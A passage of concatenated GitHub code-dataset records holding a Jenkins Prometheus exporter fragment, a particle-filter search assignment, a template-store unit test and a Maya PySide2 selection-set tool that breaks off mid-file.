self._prometheus_metrics[status]['skipCount'].add_metric([name], metric.get('skipCount'))\n if metric.get('failCount', False):\n self._prometheus_metrics[status]['failCount'].add_metric([name], metric.get('failCount'))\n if metric.get('totalCount', False):\n self._prometheus_metrics[status]['totalCount'].add_metric([name], metric.get('totalCount'))\n # Calculate passCount by subtracting fails and skips from totalCount\n passcount = metric.get('totalCount') - metric.get('failCount') - metric.get('skipCount')\n self._prometheus_metrics[status]['passCount'].add_metric([name], passcount)\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(\n description='jenkins exporter args jenkins address and port'\n )\n parser.add_argument(\n '-u', '--url',\n metavar='url',\n required=False,\n help='shivtr ts3 url that returns the ts3 data',\n default=os.environ.get('TS3_SHIVTR_URL', 'http://jenkins:8080')\n )\n parser.add_argument(\n '-p', '--port',\n metavar='port',\n required=False,\n type=int,\n help='Listen to this port',\n default=int(os.environ.get('VIRTUAL_PORT', '5050'))\n )\n return parser.parse_args()\n\n\ndef main():\n try:\n args = parse_args()\n port = int(args.port)\n REGISTRY.register(JenkinsCollector(args.url))\n start_http_server(port)\n print(\"Polling {}. Serving at port: {}\".format(args.url, port))\n while True:\n time.sleep(1)\n except KeyboardInterrupt:\n print(\" Interrupted\")\n exit(0)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "TheNotary/ts3_shivtr_exporter", "sub_path": "ts3_shivtr_exporter.py", "file_name": "ts3_shivtr_exporter.py", "file_ext": "py", "file_size_in_byte": 8876, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.environ.get", "line_number": 15, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 15, "usage_type": "attribute"}, {"api_name": "prometheus_client.Summary", "line_number": 17, "usage_type": "call"}, {"api_name": "time.time", "line_number": 35, "usage_type": "call"}, {"api_name": "prometheus_client.core.GaugeMetricFamily", "line_number": 44, "usage_type": "call"}, {"api_name": "time.time", "line_number": 60, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 78, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 80, "usage_type": "call"}, {"api_name": "requests.codes", "line_number": 81, "usage_type": "attribute"}, {"api_name": "pprint.pprint", "line_number": 85, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 103, "usage_type": "call"}, {"api_name": "prometheus_client.core.GaugeMetricFamily", "line_number": 106, "usage_type": "call"}, {"api_name": "prometheus_client.core.GaugeMetricFamily", "line_number": 109, "usage_type": "call"}, {"api_name": "prometheus_client.core.GaugeMetricFamily", "line_number": 112, "usage_type": "call"}, {"api_name": "prometheus_client.core.GaugeMetricFamily", "line_number": 115, "usage_type": "call"}, {"api_name": "prometheus_client.core.GaugeMetricFamily", "line_number": 119, "usage_type": "call"}, {"api_name": "prometheus_client.core.GaugeMetricFamily", "line_number": 122, "usage_type": "call"}, {"api_name": "prometheus_client.core.GaugeMetricFamily", "line_number": 125, "usage_type": "call"}, {"api_name": "prometheus_client.core.GaugeMetricFamily", "line_number": 128, "usage_type": "call"}, {"api_name": "prometheus_client.core.GaugeMetricFamily", "line_number": 131, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 167, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 175, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 175, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 183, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 183, "usage_type": "attribute"}, {"api_name": "prometheus_client.core.REGISTRY.register", "line_number": 192, "usage_type": "call"}, {"api_name": "prometheus_client.core.REGISTRY", "line_number": 192, "usage_type": "name"}, {"api_name": "prometheus_client.start_http_server", "line_number": 193, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 196, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 199, "usage_type": "call"}]} {"seq_id": "26293866759", "text": "'''\n\n2017 IFN680 Assignment\n\nInstructions: \n - You should implement the class PatternPosePopulation\n\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nimport pattern_utils\nimport population_search\nimport os\nimport logging\n#------------------------------------------------------------------------------\n\nclass PatternPosePopulation(population_search.Population):\n '''\n \n '''\n def __init__(self, W, pat):\n '''\n Constructor. Simply pass the initial population to the parent\n class constructor.\n @param\n W : initial population\n '''\n self.pat = pat\n super().__init__(W)\n \n def evaluate(self):\n '''\n Evaluate the cost of each individual.\n Store the result in self.C\n That is, self.C[i] is the cost of the ith individual.\n Keep track of the best individual seen so far in \n self.best_w \n self.best_cost \n @return \n best cost of this generation \n \n '''\n self.best_w = self.W[0].copy()\n for i in range(len(self.C)):#for every element in the hight of the matrix\n self.C[i], temp = self.pat.evaluate(self.distance_image,self.W[i,:]) # Evalueate pattern with params W against distance image to get value C[i]\n if self.best_cost > self.C[i]: # If a new best cost is found\n self.best_cost = self.C[i]\n self.best_w = self.W[i].copy()\n #print(temp)\n \n return self.best_cost\n \t# INSERT YOUR CODE HERE\n\n def mutate(self):\n '''\n Mutate each individual.\n The x and y coords should be mutated by adding with equal probability \n -1, 0 or +1. That is, with probability 1/3 x is unchanged, with probability\n 1/3 it is decremented by 1 and with the same probability it is \n incremented by 1.\n The angle should be mutated by adding the equivalent of 1 degree in radians.\n The mutation for the scale coefficient is the same as for the x and y coords.\n @post:\n self.W has been mutated.\n '''\n #generate array of random -1 to 1, in shape of W\n# mutations = np.random.choice([-1., 0., 1.], self.W.shape)\n mutations = np.random.choice([-1., 0., 1.], self.W.shape, p=[1/3, 1/3, 1/3])\n # convert theta column to radians\n mutations[:,2] *= np.pi/180\n # Add mutation values to W\n self.W += mutations \n \n def set_distance_image(self, distance_image):\n self.distance_image = distance_image\n\n#------------------------------------------------------------------------------ \n\ndef initial_population(region, scale = 10, pop_size=20):\n '''\n \n ''' \n # initial population: exploit info from region\n rmx, rMx, rmy, rMy = region\n W = np.concatenate( (\n np.random.uniform(low=rmx,high=rMx, size=(pop_size,1)) ,\n np.random.uniform(low=rmy,high=rMy, size=(pop_size,1)) ,\n np.random.uniform(low=-np.pi,high=np.pi, size=(pop_size,1)) ,\n np.ones((pop_size,1))*scale\n #np.random.uniform(low=scale*0.9, high= scale*1.1, size=(pop_size,1))\n ), axis=1) \n return W\n\n#------------------------------------------------------------------------------ \ndef test_particle_filter_search(generation,individuals, IndexPattern, times):\n '''\n Run the particle filter search on test image 1 or image 2of the pattern_utils module\n \n '''\n testname = str(times) +':'+ str(IndexPattern) + ':'+ str(generation) + ' x ' + str(individuals) \n Testlogfile = str(times) +'-'+ str(IndexPattern) + '-'+ str(generation) + '_x_' + str(individuals)\n print(testname) \n \n if os.path.exists('log') is False:\n os.mkdir('log') \n \n logfile = str(IndexPattern) + '-'+ str(generation) + '_x_' + str(individuals)+'.log'\n log_path = os.path.join('log',logfile)\n log_level = logging.DEBUG \n log_format = '%(message)s'\n logger = logging.root\n logger.basicConfig = logging.basicConfig(format=log_format, filename=log_path, level=log_level) \n logger.debug(testname) \n\n\n if True:\n # use image 1\n imf, imd , pat_list, pose_list = pattern_utils.make_test_image_1(True)\n ipat = IndexPattern # index of the pattern to target\n else:\n # use image 2\n imf, imd , pat_list, pose_list = pattern_utils.make_test_image_2(True)\n ipat = 0 # index of the pattern to target\n \n # Narrow the initial search region\n pat = pat_list[ipat] # (100,30, np.pi/3,40),\n # print(pat)\n xs, ys = pose_list[ipat][:2]\n region = (xs-20, xs+20, ys-20, ys+20)\n scale = pose_list[ipat][3]\n \n pop_size=individuals\n W = initial_population(region, scale , pop_size)\n \n pop = PatternPosePopulation(W, pat)\n pop.set_distance_image(imd)\n \n pop.temperature = 5\n \n #Dictionary to convert pattern value to string\n patDict = {0:\"Small Square\",1:\"Large Square\",2:\"Large Triangle\",3:\"Small Triangle\"}\n \n # Create Paths for outputs\n # Creaet Output Folder\n if os.path.exists('out') is False:\n os.mkdir('out') \n \n # Create 'Pat' Folder\n if os.path.exists('out\\\\'+patDict[IndexPattern]) is False:\n os.mkdir('out\\\\'+patDict[IndexPattern]) \n \n # Create Gen vs Pop folder\n if os.path.exists('out\\\\'+patDict[IndexPattern]+'\\\\'+str(generation)+\"x\"+str(individuals)) is False:\n os.mkdir('out\\\\'+patDict[IndexPattern]+'\\\\'+str(generation)+\"x\"+str(individuals))\n \n Lw, Lc = pop.particle_filter_search(generation,log=True)\n \n \n\n \n plt.plot(Lc)\n plt.title('Cost vs generation index')\t\n plt.savefig(r'out\\\\'+patDict[IndexPattern]+'\\\\'+str(generation)+'x'+str(individuals)+'\\\\'+str(times)+'_'+str(generation) +'x'+str(individuals)+'Cost_Vs_Generation.png')\n #plt.show()\n \n #print(pop.best_w)\n #print(pop.best_cost)\n logger.debug(pop.best_w)\n logger.debug(pop.best_cost)\n \n pattern_utils.display_solution(pat_list, \n pose_list, \n pat,\n pop.best_w)\n\n# with open('out'+str(generation)+'x'+str(individuals)+'.csv', 'r+') as out:\n# out.write('times, Pattern, generation, population, Best Cost, Best W \\n')\n \n with open(FILENAME+'.csv', 'a') as out: #+str(generation)+'x'+str(individuals)+'\n out.write(str(times)+','+str(IndexPattern)+','+str(generation)+','+str(individuals)+','+str(pop.best_cost)+','+str(pop.best_w)+'\\n')\n \n# pattern_utils.replay_search(pat_list, \n# pose_list, \n# pat,\n# Lw)\n\n # os.rename('out', str(times)+'_'+ str(IndexPattern)+'_'+str(generation)+'_'+str(individuals)) \n \n#------------------------------------------------------------------------------ \n\n# Allow FILENAME to be accessed globally\nFILENAME = 'output'\n\nif __name__=='__main__':\n \n \n Reverse_flag = False \n \n \n # for i in range(1, 3):\n # print (str(i) + ':' + str(IndexPattern) + ':'+ str(population) + 'x' + str(generation))\n#test_particle_filter_search(40,30, 1,0)\n\n pop = [40]#,50,60,70] # Table of Populations to compare\n gen = [40]#,50,60,70] # Table of Generations to compare\n \n #Iterate through filenames to prevent fileoverwriting\n fileIndex = 0\n while os.path.exists(FILENAME+'_%s.csv'%fileIndex):\n fileIndex+=1\n \n # Set Filename to clear filename\n FILENAME +='_'+str(fileIndex)\n \n #create new file to write to or clears old file\n with open(FILENAME+'.csv', 'w') as out:\n out.write('')\n\n#############################################################################################\n for pi in range(4):\n for ipop in range (len(pop)): \n for igen in range(len(gen)): \n for i in range(1, 11):\n print (str(i) + ':' + str(pi) + ':'+ str(pop[ipop]) + 'x' + str(gen[igen]))\n test_particle_filter_search(gen[igen],pop[ipop], pi,i)\n\n \n \n#############################################################################################\n\n# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n# CODE CEMETARY \n \n# \n# def test_2():\n# '''\n# Run the particle filter search on test image 2 of the pattern_utils module\n# \n# '''\n# imf, imd , pat_list, pose_list = pattern_utils.make_test_image_2(False)\n# pat = pat_list[0]\n# \n# #region = (100,150,40,60)\n# xs, ys = pose_list[0][:2]\n# region = (xs-20, xs+20, ys-20, ys+20)\n# \n# W = initial_population_2(region, scale = 30, pop_size=40)\n# \n# pop = PatternPosePopulation(W, pat)\n# pop.set_distance_image(imd)\n# \n# pop.temperature = 5\n# \n# Lw, Lc = pop.particle_filter_search(40,log=True)\n# \n# plt.plot(Lc)\n# plt.title('Cost vs generation index')\n# plt.show()\n# \n# print(pop.best_w)\n# print(pop.best_cost)\n# \n# \n# \n# pattern_utils.display_solution(pat_list, \n# pose_list, \n# pat,\n# pop.best_w)\n# \n# pattern_utils.replay_search(pat_list, \n# pose_list, \n# pat,\n# Lw)\n# \n# #------------------------------------------------------------------------------ \n# \n ", "repo_name": "Minimaximize/IFN680_A1", "sub_path": "IFN 680 - Assessment 1 - Current Best Answer/my_submission.py", "file_name": "my_submission.py", "file_ext": "py", "file_size_in_byte": 9727, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "population_search.Population", "line_number": 20, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 73, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 89, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 90, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 112, "usage_type": "attribute"}, {"api_name": "logging.root", "line_number": 114, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 115, "usage_type": "call"}, {"api_name": "pattern_utils.make_test_image_1", "line_number": 121, "usage_type": "call"}, {"api_name": "pattern_utils.make_test_image_2", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path", "line_number": 148, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path", "line_number": 152, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path", "line_number": 156, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 157, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 164, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 164, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 165, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 166, "usage_type": "name"}, {"api_name": "pattern_utils.display_solution", "line_number": 174, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 212, "usage_type": "call"}, {"api_name": "os.path", "line_number": 212, "usage_type": "attribute"}]} {"seq_id": "15008283950", "text": "from pathlib import Path\nfrom uuid import uuid4 as uuid\nfrom pyfakefs import fake_filesystem_unittest\n\nfrom stores.template_store import template_store\nfrom models.template import Template\nfrom config.config import config\nfrom db.db_connection import database\nfrom utils.filesystem import file_system\n\n\nclass TemplateStoreTest(fake_filesystem_unittest.TestCase):\n #\n # Setup\n #\n\n @classmethod\n def setUpClass(cls):\n config.open_config(use_default=True)\n\n def setUp(self):\n database.connect(':memory:')\n self.setUpPyfakefs()\n\n def tearDown(self):\n database.close()\n\n def test_create_creates_file(self):\n template = Template(\n 'test_template', 'test_template.tex', '~/.texviper/templates')\n template_store.create(template, '')\n\n self.assertTrue(\n Path('~/.texviper/templates/test_template.tex').expanduser().exists()\n )\n\n def test_create_inserts_to_database(self):\n template = Template(\n 'test_template', 'test_template.tex', '~/.texviper/templates')\n template_store.create(template, '')\n\n database.execute(\n '''select * from Templates where name=\"test_template\"'''\n )\n result = database.fetch_one()\n\n self.assertEqual(len(result), 4)\n\n def test_delete_removes_file(self):\n template = Template(\n 'test_template', 'test_template.tex', '~/.texviper/templates')\n template_store.create(template, '')\n\n template_store.delete_one(template.template_id)\n self.assertFalse(file_system.file_exists(\n Path('~/.texviper/templates/test_template.tex').expanduser()\n ))\n", "repo_name": "sneikki/texviper", "sub_path": "src/tests/stores/template_store_test.py", "file_name": "template_store_test.py", "file_ext": "py", "file_size_in_byte": 1684, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pyfakefs.fake_filesystem_unittest.TestCase", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pyfakefs.fake_filesystem_unittest", "line_number": 12, "usage_type": "name"}, {"api_name": "config.config.config.open_config", "line_number": 19, "usage_type": "call"}, {"api_name": "config.config.config", "line_number": 19, "usage_type": "name"}, {"api_name": "db.db_connection.database.connect", "line_number": 22, "usage_type": "call"}, {"api_name": "db.db_connection.database", "line_number": 22, "usage_type": "name"}, {"api_name": "db.db_connection.database.close", "line_number": 26, "usage_type": "call"}, {"api_name": "db.db_connection.database", "line_number": 26, "usage_type": "name"}, {"api_name": "models.template.Template", "line_number": 29, "usage_type": "call"}, {"api_name": "stores.template_store.template_store.create", "line_number": 31, "usage_type": "call"}, {"api_name": "stores.template_store.template_store", "line_number": 31, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 34, "usage_type": "call"}, {"api_name": "models.template.Template", "line_number": 38, "usage_type": "call"}, {"api_name": "stores.template_store.template_store.create", "line_number": 40, "usage_type": "call"}, {"api_name": "stores.template_store.template_store", "line_number": 40, "usage_type": "name"}, {"api_name": "db.db_connection.database.execute", "line_number": 42, "usage_type": "call"}, {"api_name": "db.db_connection.database", "line_number": 42, "usage_type": "name"}, {"api_name": "db.db_connection.database.fetch_one", "line_number": 45, "usage_type": "call"}, {"api_name": "db.db_connection.database", "line_number": 45, "usage_type": "name"}, {"api_name": "models.template.Template", "line_number": 50, "usage_type": "call"}, {"api_name": "stores.template_store.template_store.create", "line_number": 52, "usage_type": "call"}, {"api_name": "stores.template_store.template_store", "line_number": 52, "usage_type": "name"}, {"api_name": "stores.template_store.template_store.delete_one", "line_number": 54, "usage_type": "call"}, {"api_name": "stores.template_store.template_store", "line_number": 54, "usage_type": "name"}, {"api_name": "utils.filesystem.file_system.file_exists", "line_number": 55, "usage_type": "call"}, {"api_name": "utils.filesystem.file_system", "line_number": 55, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 56, "usage_type": "call"}]} {"seq_id": "14807346331", "text": "import maya.cmds as cmds\r\nfrom PySide2 import QtWidgets, QtCore, QtGui\r\nimport maya.OpenMayaUI as OpenMayaUI # for maya_main_window()\r\nimport shiboken2 #used to integrate C++ programs to Python\r\n\r\ndef maya_main_window():\r\n # To make our main window a child to maya so we can make it hover above maya\r\n\tmain_window_ptr=OpenMayaUI.MQtUtil.mainWindow()\r\n\treturn shiboken2.wrapInstance(int(main_window_ptr), QtWidgets.QWidget)\r\n\r\ndef deleteUI(my_ui):\r\n if cmds.window(my_ui, exists=1):\r\n cmds.deleteUI(my_ui)\r\n if cmds.windowPref(my_ui, exists=1):\r\n cmds.windowPref(my_ui, remove=1)\r\n\r\nscroll_style = \"\"\"\r\n QScrollBar:vertical {\r\n background: rgb(10,10,10);\r\n width: 5px;\r\n margin: 0px 0 0px 0;\r\n }\r\n\r\n QScrollBar::handle:vertical {\r\n border: 1px rgb(0, 0, 0);\r\n background: rgb(128, 123, 171);\r\n }\r\n\"\"\"\r\n\r\nclass SelectionWidget(QtWidgets.QWidget):\r\n #create a selection set\r\n buttonSignal = QtCore.Signal(str) # create a static attribute\r\n selectionClicked = QtCore.Signal(list) # Create a custom signal to select the set\r\n\r\n def __init__(self, objects, count, ):\r\n super(SelectionWidget, self).__init__()\r\n\r\n self.objects = objects\r\n self.count = count\r\n self.state = True\r\n\r\n self.selection = []\r\n self.get_selection()\r\n\r\n self.object_path = self.get_selection()\r\n self.display_name = [obj.split(\"|\")[-1] for obj in self.selection] #to display a short name\r\n\r\n self.setup_ui()\r\n\r\n def setup_ui(self):\r\n '''\r\n setting up UI for selection widget\r\n '''\r\n self.setMinimumSize(228,90)\r\n self.setMaximumHeight(90)\r\n self.setAutoFillBackground(True) #to set color we need this\r\n self.set_background() #set color\r\n\r\n #layout\r\n self.main_layout = QtWidgets.QHBoxLayout()\r\n self.setContentsMargins(5, 0, 5, 0)\r\n self.setLayout(self.main_layout)\r\n\r\n #text on the widget\r\n self.short_names_label = QtWidgets.QLineEdit()\r\n self.short_names_label.textChanged.connect(lambda x: self.short_names_label.displayText())\r\n self.short_names_label.setReadOnly(True) # Set the QLineEdit as read-only initially\r\n\r\n self.short_names_label.setStyleSheet(\r\n \"QLineEdit { \"\r\n \"border: 0px;\"\r\n \"background-color: rgb(60, 60, 60); \"\r\n \"color: rgb(128, 123, 171);\"\r\n \"font-size: 16px; \"\r\n \"}\")\r\n self.update_short_names_label() # Update the label text with the short names\r\n self.main_layout.addWidget(self.short_names_label)\r\n self.short_names_label.setAlignment(QtCore.Qt.AlignCenter)\r\n\r\n def get_selection(self):\r\n '''\r\n With that one we create selection set\r\n '''\r\n self.selection = cmds.ls(sl=True, l=True)\r\n\r\n def update_short_names_label(self):\r\n '''\r\n Creates a name based on all the controllers that you selected.\r\n Convert the list of short names to a single string with comma separator.\r\n '''\r\n names_str = \", \".join(self.display_name)\r\n self.short_names_label.setText(names_str)\r\n\r\n def select_objects_back(self):\r\n cmds.select(self.objects)\r\n\r\n def set_background(self, r=60, g=60, b=60):\r\n self.p = QtGui.QPalette()\r\n self.color = QtGui.QColor(r, g, b)\r\n self.p.setColor(self.backgroundRole(), self.color)\r\n self.setPalette(self.p)\r\n\r\n def mouseReleaseEvent(self, event):\r\n '''\r\n selecting the set by releasing the button with function select_objects_back()\r\n '''\r\n self.p = self.palette()\r\n self.p.setColor(self.backgroundRole(), QtGui.QColor(90, 90, 90))\r\n self.setPalette(self.p)\r\n\r\n if self.state == True:\r\n self.select_objects_back()\r\n\r\n def enterEvent(self, event):\r\n self.setCursor(QtCore.Qt.PointingHandCursor)\r\n self.set_background(80, 80, 80)\r\n\r\n def leaveEvent(self, event):\r\n self.setCursor(QtCore.Qt.ArrowCursor)\r\n self.set_background(60, 60, 60)\r\n\r\n def mousePressEvent(self, event):\r\n '''\r\n we are calling pop menu on this event\r\n '''\r\n self.p = self.palette()\r\n self.p.setColor(self.backgroundRole(), QtGui.QColor(100, 100, 100))\r\n self.setPalette(self.p)\r\n\r\n if event.button() == QtCore.Qt.LeftButton:\r\n self.state = True\r\n\r\n elif event.button() == QtCore.Qt.RightButton:\r\n self.state = False # we are blocking the button's pressing\r\n\r\n self.create_context_menu() # instead we are creating pop-up context menu\r\n self.pop_menu.exec_(self.mapToGlobal(event.pos()))\r\n\r\n def separator_line(self):\r\n '''\r\n separator for create_context_menu()\r\n '''\r\n self.separator = QtWidgets.QAction(self)\r\n self.separator.setSeparator(True)\r\n self.pop_menu.addAction(self.separator)\r\n\r\n def create_context_menu(self):\r\n '''\r\n create a pop-up context menu with five new options for the selection set\r\n '''\r\n self.pop_menu = QtWidgets.QMenu(self)\r\n\r\n self.pop_menu_add = QtWidgets.QAction('Add Selection', self) # QAction is a menu type\r\n self.pop_menu.addAction(self.pop_menu_add)\r\n self.pop_menu_add.triggered.connect(self.add_selection)\r\n\r\n self.pop_menu_remove = QtWidgets.QAction('Remove Selection', self)\r\n self.pop_menu.addAction(self.pop_menu_remove)\r\n self.pop_menu_remove.triggered.connect(self.remove_selection)\r\n\r\n self.separator_line()\r\n\r\n self.pop_menu_remove = QtWidgets.QAction('Rename', self)\r\n self.pop_menu.addAction(self.pop_menu_remove)\r\n self.pop_menu_remove.triggered.connect(self.rename_selection)\r\n\r\n self.pop_menu_delete = QtWidgets.QAction('Delete', self)\r\n self.pop_menu.addAction(self.pop_menu_delete)\r\n self.pop_menu_delete.triggered.connect(self.delete_selection)\r\n\r\n self.separator_line()\r\n\r\n self.pop_menu_close = QtWidgets.QAction('Close window', self)\r\n self.pop_menu.addAction(self.pop_menu_close)\r\n self.pop_menu_close.triggered.connect(self.close_window)\r\n\r\n def add_selection(self):\r\n '''\r\n 'Add Selection'\r\n '''\r\n self.selection = cmds.ls(sl=True, l=True)\r\n for obj in self.selection:\r\n if obj not in self.objects:\r\n self.objects.append(obj)\r\n\r\n def remove_selection(self):\r\n '''\r\n 'Remove Selection' on pop menu\r\n '''\r\n self.selection = cmds.ls(sl=True, l=True)\r\n for obj in self.selection:\r\n if obj in self.objects:\r\n self.objects.remove(obj)\r\n\r\n def rename_selection(self):\r\n '''\r\n 'Rename' on pop menu\r\n '''\r\n self.short_names_label.setFocus()\r\n self.short_names_label.setReadOnly(False)\r\n self.short_names_label.editingFinished.connect(self.finish_editing)\r\n\r\n def finish_editing(self):\r\n '''\r\n This one we call in rename selection, it helps us to finish editing and reset focus\r\n '''\r\n self.short_names_label.setReadOnly(True)\r\n self.setFocus()\r\n\r\n def delete_selection(self):\r\n '''\r\n 'Delete' on pop menu\r\n '''\r\n self.deleteLater() # to delete widget\r\n\r\n def close_window(self):\r\n '''\r\n 'Close window' on pop menu\r\n '''\r\n my_ui.close() # close window\r\n\r\nclass PlusSelectionWidget(QtWidgets.QWidget):\r\n #create \"+\" widget for adding new sets of controls\r\n clicked = QtCore.Signal() # Define a custom clicked signal\r\n\r\n def __init__(self, icon=None, sub=False):\r\n super(PlusSelectionWidget, self).__init__()\r\n self.state = False\r\n self.sub = sub\r\n self.setup_ui()\r\n\r\n def setup_ui(self):\r\n '''\r\n Setting up UI for \"+\" widget\r\n '''\r\n self.setMinimumSize(228, 90)\r\n self.setMaximumHeight(90)\r\n self.setAutoFillBackground(True) # to set color we need this\r\n self.set_background() # set color\r\n self.main_layout = QtWidgets.QHBoxLayout()\r\n self.setContentsMargins(5, 0, 5, 0)\r\n self.setLayout(self.main_layout)\r\n\r\n # text on the widget\r\n self.plus_label = QtWidgets.QLabel(\"+\")\r\n self.main_layout.addWidget(self.plus_label)\r\n self.plus_label.setAlignment(QtCore.Qt.AlignCenter)\r\n self.plus_label.setStyleSheet(''' font-size: 24px; ''')\r\n\r\n def mouseReleaseEvent(self, event):\r\n '''\r\n This one we use only for changing style on button released\r\n '''\r\n self.p = self.palette()\r\n self.p.setColor(self.backgroundRole(), QtGui.QColor(80, 80, 80))\r\n self.setPalette(self.p)\r\n\r\n def mousePressEvent(self, event):\r\n '''\r\n Style for the button and\r\n '''\r\n self.p = self.palette()\r\n self.p.setColor(self.backgroundRole(), QtGui.QColor(100, 100, 100))\r\n self.setPalette(self.p)\r\n\r\n # that's pretty important for mouseReleaseEvent on 44rd string\r\n if event.button() == QtCore.Qt.LeftButton:\r\n self.state = True\r\n self.on_widget_clicked(event)\r\n\r\n elif event.button() == QtCore.Qt.RightButton:\r\n self.state = False # we are blocking the button's pressing\r\n\r\n def on_widget_clicked(self, event):\r\n # Emit the custom clicked signal when the widget is clicked\r\n self.clicked.emit()\r\n\r\n def set_background(self, r=60, g=60, b=60):\r\n # set background\r\n self.p = QtGui.QPalette()\r\n self.color = QtGui.QColor(r, g, b)\r\n self.p.setColor(self.backgroundRole(), self.color)\r\n self.setPalette(self.p)\r\n\r\n def enterEvent(self, event):\r\n self.setCursor(QtCore.Qt.PointingHandCursor)\r\n self.set_background(80, 80, 80)\r\n\r\n def leaveEvent(self, event):\r\n self.setCursor(QtCore.Qt.ArrowCursor)\r\n self.set_background(60, 60, 60)\r\n\r\n\r\nclass SelectionToolWindow(QtWidgets.QDialog):\r\n\r\n def __init__(self, parent=maya_main_window()):\r\n #creates window for a work with selection sets\r\n super(SelectionToolWindow, self).__init__(parent=parent) # super is important to call the main class\r\n\r\n #to create a selection set\r\n self.selection = []\r\n self.get_selection()\r\n self.create_selection_list = {}\r\n self.num = 1\r\n\r\n #here we create translucent window but for real just removing the top part of the window\r\n self.setWindowFlags(QtCore.Qt.FramelessWindowHint | QtCore.Qt.Tool)\r\n self.setSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\r\n self.setAttribute(QtCore.Qt.WA_TranslucentBackground)\r\n self.offset = QtCore.QPoint(0, 0)\r\n self.pressed = False\r\n self.background_color = QtGui.QColor(45, 44, 44, 200)\r\n self.setAutoFillBackground(True)\r\n\r\n self.p = self.palette()\r\n self.p.setColor(self.backgroundRole(), QtGui.QColor(45, 44, 44))\r\n self.setPalette(self.p)\r\n\r\n #that will help us to frag the window\r\n self.setAcceptDrops(True)\r\n self.setMouseTracking(True) # Track mouse movements\r\n self.draggable = False\r\n self.offset = None\r\n\r\n self.setup_ui() #main window and layouts\r\n def setup_ui(self):\r\n self.setWindowTitle(\"Custom Bunny UI\")\r\n self.setObjectName(\"MyCustomWidgetBunny\")\r\n\r\n self.setMinimumSize(250,250)\r\n self.setMaximumSize(250, 900)\r\n\r\n self.main_layout = QtWidgets.QVBoxLayout()\r\n self.main_layout.setAlignment(QtCore.Qt.AlignTop)\r\n self.main_layout.setContentsMargins(0, 0, 0, 0) #if you don't want any margins\r\n self.main_layout.setSpacing(3) #margins between buttons\r\n self.setLayout(self.main_layout)\r\n\r\n #* --------------------scroll area----------------------------- *#\r\n self.scroll_area = QtWidgets.QScrollArea()\r\n self.scroll_area.setMinimumHeight(400)\r\n self.scroll_area.setWidgetResizable(True)\r\n self.scroll_area.setMinimumWidth(250)\r\n self.scroll_area.setMaximumWidth(250)\r\n self.scroll_area.setFocusPolicy(QtCore.Qt.NoFocus)\r\n\r\n self.scrollbar = QtWidgets.QScrollBar()\r\n self.scrollbar.setStyleSheet(scroll_style)\r\n self.scroll_area.setVerticalScrollBar(self.scrollbar)\r\n\r\n self.scroll_area_widget = QtWidgets.QWidget()\r\n self.scroll_area.setWidget(self.scroll_area_widget)\r\n\r\n self.scroll_layout = QtWidgets.QVBoxLayout()\r\n self.scroll_layout.setAlignment(QtCore.Qt.AlignTop)\r\n self.scroll_layout.setContentsMargins(5, 0, 5, 